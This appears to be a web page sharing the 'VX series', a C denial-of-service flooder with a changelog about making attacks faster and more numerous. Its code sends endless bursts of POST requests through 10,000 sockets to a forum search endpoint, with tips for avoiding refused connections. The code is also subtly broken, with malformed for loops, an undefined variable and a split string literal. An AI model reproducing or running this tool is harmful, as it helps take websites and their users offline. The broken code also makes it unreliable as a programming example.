This is the latest evolution of the VX series. The original can be seen here.
Web log:
Future: possibly just make connections? Attempt to make a "GET" version
October 14,2005: Added a socketfd array, so that more connections are made, and more attacks happen quicker. Made the headerinfo variable a character array instead of a pointer, to save on initialization time. This is less efficient in the shortrun, but more efficient in the long run.
October 1, 2005: Removed about 10 more lines of unnecesary IF statements out of the loop. At this point, the VX program can run against anything that uses the "POST" uri on a website.
July, 31, 2005: Unveiled the VX Series. This version only works with a forum's search function.

Note: If connections are refused after a certain amount of iternations, you may want to change the array size of "int socketfd" from 10,000 to 100 or so. You may want to put printf statments outside of the for loops, so you don't think the program has crashed.

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#include <time.h>

int main()
{
int sockfd[10000], portno = 80, x=1,i;
struct sockaddr_in serv_addr;
struct hostent *server;
char headerinfo[3000];
char *mystring="helloworld";
server = gethostbyname("example.com");

while(1)
{
++x;
//------------- ethereal sniff paste goes here -------------
sprintf(headerinfo,"POST /phpBB/search.php?
mode=results&sid=0ab21201ef943af7bb15cd19176c362d HTTP/1.1\r\n"
"Host: www.example.com\r\n"
"User-Agent: Netscape/2.0 (MacOS; U; MacOS 10; en-US; rv:1.7.8) Gecko/20050511 Netscape/6.2.2\r\n"
"Accept: text/xml,application/xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n"
"Accept-Language: en-us,en;q=0.5\r\n" "Accept-Encoding: gzip,deflate\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Keep-Alive: 3300\r\n" "Connection: keep-alive\r\n"
"Referer: http://www.example.com/phpBB/search.php\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 281\r\n\r\n"
"search_keywords=%s%d",searchstring,x);
//--------------- end ethereal sniff paste ----------------
serv_addr.sin_addr = *((struct in_addr *)server->h_addr);
serv_addr.sin_port = htons(portno);
serv_addr.sin_family = AF_INET;

for(i=0,i<10000;i++)
if((sockfd[i] = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
for(i=0,i<10000;i++)
connect(sockfd[i], (struct sockaddr *)&serv_addr, sizeof(struct sockaddr));
for(i=0,i<10000;i++)
write(sockfd[i],headerinfo,strlen(headerinfo));
for(i=0,i<10000;i++)
close(sockfd[i]);
write(1, ".", 1);
}
return 0;
}